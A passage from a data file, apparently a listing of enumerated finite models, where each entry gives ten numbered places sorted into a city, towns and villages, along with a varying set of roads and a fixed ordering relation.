">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('5', '2'), ('3', '9'), ('4', '8'),
('1', '2'), ('1', '4'), ('10', '3'), ('2', '5'), ('3', '10'), ('10', '2'),
('2', '10'), ('7', '4'), ('9', '3'), ('4', '7'), ('1', '3'), ('8', '4')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('5', '2'), ('4', '8'),
('1', '2'), ('1', '4'), ('2', '5'), ('3', '6'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('7', '3'), ('1', '3'), ('8', '4'), ('6', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('9', '4'), ('5', '2'),
('1', '2'), ('1', '4'), ('2', '5'), ('3', '6'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('7', '3'), ('1', '3'), ('4', '9'), ('6', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('9', '4'), ('5', '2'),
('4', '8'), ('1', '2'), ('1', '4'), ('2', '5'), ('3', '6'), ('10', '2'),
('2', '10'), ('7', '3'), ('1', '3'), ('4', '9'), ('6', '3'), ('8', '4')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '8'), ('5', '2'), ('1', '2'),
('1', '4'), ('2', '5'), ('3', '6'), ('10', '2'), ('2', '10'), ('4', '10'),
('10', '4'), ('7', '4'), ('8', '3'), ('4', '7'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('9', '4'), ('3', '8'), ('5', '2'),
('1', '2'), ('1', '4'), ('2', '5'), ('3', '6'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('8', '3'), ('1', '3'), ('4', '9'), ('6', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('9', '4'), ('3', '8'), ('5', '2'),
('1', '2'), ('1', '4'), ('2', '5'), ('3', '6'), ('10', '2'), ('2', '10'),
('7', '4'), ('8', '3'), ('4', '7'), ('1', '3'), ('4', '9'), ('6', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('5', '2'), ('3', '9'), ('1', '2'),
('1', '4'), ('2', '5'), ('3', '6'), ('10', '2'), ('2', '10'), ('4', '10'),
('10', '4'), ('7', '4'), ('9', '3'), ('4', '7'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('5', '2'), ('3', '9'), ('4', '8'),
('1', '2'), ('1', '4'), ('2', '5'), ('3', '6'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('9', '3'), ('8', '4'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('5', '2'), ('3', '9'), ('4', '8'),
('1', '2'), ('1', '4'), ('2', '5'), ('3', '6'), ('10', '2'), ('2', '10'),
('7', '4'), ('9', '3'), ('4', '7'), ('1', '3'), ('8', '4'), ('6', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('3', '8'), ('5', '2'),
('1', '2'), ('1', '4'), ('2', '5'), ('4', '6'), ('6', '4'), ('10', '2'),
('2', '10'), ('4', '10'), ('10', '4'), ('8', '3'), ('7', '3'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('9', '4'), ('3', '8'),
('5', '2'), ('1', '2'), ('1', '4'), ('2', '5'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('8', '3'), ('7', '3'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('9', '4'), ('3', '8'),
('5', '2'), ('1', '2'), ('1', '4'), ('2', '5'), ('4', '6'), ('6', '4'),
('10', '2'), ('2', '10'), ('8', '3'), ('7', '3'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('5', '2'), ('3', '9'),
('1', '2'), ('1', '4'), ('2', '5'), ('4', '6'), ('6', '4'), ('10', '2'),
('2', '10'), ('4', '10'), ('10', '4'), ('9', '3'), ('7', '3'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('5', '2'), ('3', '9'),
('4', '8'), ('1', '2'), ('1', '4'), ('2', '5'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('9', '3'), ('7', '3'), ('1', '3'), ('8', '4')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('5', '2'), ('3', '9'),
('4', '8'), ('1', '2'), ('1', '4'), ('2', '5'), ('4', '6'), ('6', '4'),
('10', '2'), ('2', '10'), ('9', '3'), ('7', '3'), ('1', '3'), ('8', '4')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '8'), ('3', '9'), ('5', '2'),
('1', '2'), ('1', '4'), ('2', '5'), ('4', '6'), ('6', '4'), ('10', '2'),
('2', '10'), ('4', '10'), ('10', '4'), ('8', '3'), ('9', '3'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '8'), ('3', '9'), ('5', '2'),
('1', '2'), ('1', '4'), ('2', '5'), ('9', '3'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('7', '4'), ('8', '3'), ('4', '7'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '8'), ('3', '9'), ('5', '2'),
('1', '2'), ('1', '4'), ('2', '5'), ('4', '6'), ('6', '4'), ('10', '2'),
('2', '10'), ('7', '4'), ('8', '3'), ('9', '3'), ('4', '7'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('4', '1'), ('1', '2'), ('1', '4'),
('10', '3'), ('2', '6'), ('6', '2'), ('3', '10'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('7', '4'), ('5', '3'), ('4', '7'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('4', '1'), ('4', '8'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '6'), ('6', '2'), ('3', '10'), ('10', '2'),
('2', '10'), ('4', '10'), ('10', '4'), ('5', '3'), ('8', '4'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('4', '1'), ('9', '4'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '6'), ('6', '2'), ('3', '10'), ('10', '2'),
('2', '10'), ('4', '10'), ('10', '4'), ('5', '3'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('4', '1'), ('4', '8'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '6'), ('6', '2'), ('3', '10'), ('10', '2'),
('2', '10'), ('7', '4'), ('5', '3'), ('4', '7'), ('1', '3'), ('8', '4')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('4', '1'), ('9', '4'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '6'), ('6', '2'), ('3', '10'), ('10', '2'),
('2', '10'), ('7', '4'), ('5', '3'), ('4', '7'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('4', '1'), ('9', '4'), ('4', '8'),
('1', '2'), ('1', '4'), ('10', '3'), ('2', '6'), ('6', '2'), ('3', '10'),
('10', '2'), ('2', '10'), ('5', '3'), ('8', '4'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('5', '4'), ('1', '2'),
('1', '4'), ('10', '3'), ('4', '5'), ('2', '6'), ('6', '2'), ('3', '10'),
('10', '2'), ('2', '10'), ('4', '10'), ('10', '4'), ('7', '3'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('4', '8'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '6'), ('6', '2'), ('3', '10'), ('10', '2'),
('2', '10'), ('4', '10'), ('10', '4'), ('7', '3'), ('1', '3'), ('8', '4')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('9', '4'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '6'), ('6', '2'), ('3', '10'), ('10', '2'),
('2', '10'), ('4', '10'), ('10', '4'), ('7', '3'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('5', '4'), ('4', '8'),
('1', '2'), ('1', '4'), ('10', '3'), ('4', '5'), ('2', '6'), ('6', '2'),
('3', '10'), ('10', '2'), ('2', '10'), ('7', '3'), ('1', '3'), ('8', '4')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('9', '4'), ('5', '4'),
('1', '2'), ('1', '4'), ('10', '3'), ('4', '5'), ('2', '6'), ('6', '2'),
('3', '10'), ('10', '2'), ('2', '10'), ('7', '3'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('9', '4'), ('4', '8'),
('1', '2'), ('1', '4'), ('10', '3'), ('2', '6'), ('6', '2'), ('3', '10'),
('10', '2'), ('2', '10'), ('7', '3'), ('1', '3'), ('4', '9'), ('8', '4')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '8'), ('5', '4'), ('1', '2'),
('1', '4'), ('10', '3'), ('4', '5'), ('2', '6'), ('6', '2'), ('3', '10'),
('10', '2'), ('2', '10'), ('4', '10'), ('10', '4'), ('8', '3'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
